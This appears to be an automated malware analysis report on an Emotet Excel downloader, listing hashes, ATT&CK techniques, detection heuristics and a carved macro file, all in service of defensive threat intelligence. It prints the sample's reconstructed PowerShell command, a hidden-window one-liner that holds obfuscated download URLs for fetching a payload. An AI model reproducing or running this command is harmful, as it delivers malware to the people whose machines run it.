Emotet Office (OLE) / .XLSX malware analysis — malicious · ee3dbfef1d114104

MALICIOUS

Office (OLE) / .XLSX

88.5 KB Created: 2022-02-14 05:58:53 Authoring application: Microsoft Excel First seen: 2022-02-22

MD5: a16643d2f0d6e2951117dd3b8a061206 SHA-1: c96f022304f52286b55499413a913a0aac5f97a8 SHA-256: ee3dbfef1d114104ec155329bf69e3283ecf59991d76ffec0f04cc7e4c8644de

280 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an Excel file containing a Workbook_Open macro that is configured to execute a VBScript payload. The VBScript payload is obfuscated but appears to download and execute a DLL from a hardcoded URL. The presence of the Workbook_Open auto-execution and the CreateObject call strongly indicate malicious intent, consistent with Emotet's known delivery methods. The reconstructed PowerShell command is: powershell -windowstyle hidden -command "$MJXdfshDrfGZses4 = \"http:http://microsoft.content1566xueswhe.comdhjmyuiwmicrog.org.zadhj-GBGJeFxXWlNbABv2dhjbouhtuiwps:dhjdwuiwwuiww.auiwma.cuiwudhjjprdhjVVPdhjbouhtuiwps:dhjdhjeduiwu-meuiwdia.cndhjwuiwp-admuiwindhj0JAEdhjbouhtuiwtuiwpuiws:dhjdhjiacademyuiwgruiwoup.cldhjofuiwficedhjG42LJPLkldhjbouhuiwtuiwps:dhjdhjznzhuiwou.tuiwopdhjmuiwodedhj0Qbdhj\" -suiwPLuiwIt \"bou\"

Heuristics 7

ClamAV: Doc.Downloader.Emotet02220-9940037-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Emotet02220-9940037-0
Reference to Windows Script Host high SC_STR_WSCRIPT

Reference to Windows Script Host
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `98ce64e756a4ee3d4f776c1541f7f3ad0f966d786db88eda74f9a833f3a74b83`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	11705 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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